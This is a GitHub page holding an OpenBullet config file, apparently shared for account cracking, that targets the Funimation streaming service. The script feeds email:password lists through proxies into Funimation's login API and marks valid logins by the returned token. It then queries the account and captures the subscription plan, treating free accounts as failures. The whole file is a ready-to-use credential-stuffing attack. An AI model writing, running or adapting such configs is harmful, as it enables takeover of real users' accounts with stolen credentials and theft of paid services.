forked from WangLee112/Config-Open-Bullet
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathFunimation.loli
48 lines (48 loc) · 1.71 KB
/
Funimation.loli
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
[SETTINGS]
{
"Name": "funimation",
"SuggestedBots": 1,
"LastModified": "2018-06-30T14:30:27.0813749+00:00",
"AdditionalInfo": "",
"Author": "SubAtomic",
"Version": "1.0.0",
"NeedsProxies": true,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"AllowedWordlist1": "MailPass",
"AllowedWordlist2": "None",
"DataRules": [],
"CustomInputs": [],
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"DisableNotifications": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": ""
}
[SCRIPT]
REQUEST POST "https://prod-api-funimationnow.dadcdigital.com/api/auth/login/" AutoRedirect=TRUE
CONTENT "username=<USER>&password=<PASS>"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "Accept: */*"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
HEADER "Pragma: no-cache"
PARSE "<SOURCE>" JSON "token" Recursive=FALSE -> VAR "TOKEN" "" ""
KEYCHECK BanOn4XX=FALSE BanOnToCheck=TRUE
KEYCHAIN Failure OR
KEY "success\":false"
KEYCHAIN Success OR
KEY "token"
REQUEST GET "https://prod-api-funimationnow.dadcdigital.com/api/source/user/" AutoRedirect=TRUE
CONTENT ""
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "Accept: */*"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
HEADER "Pragma: no-cache"
HEADER "Authorization: Token <TOKEN>"
PARSE "<SOURCE>" LR "\",\"plan\":\"" "\"" Recursive=FALSE -> CAP "PLAN" "" ""
KEYCHECK BanOn4XX=FALSE BanOnToCheck=TRUE
KEYCHAIN Failure OR
KEY "Free"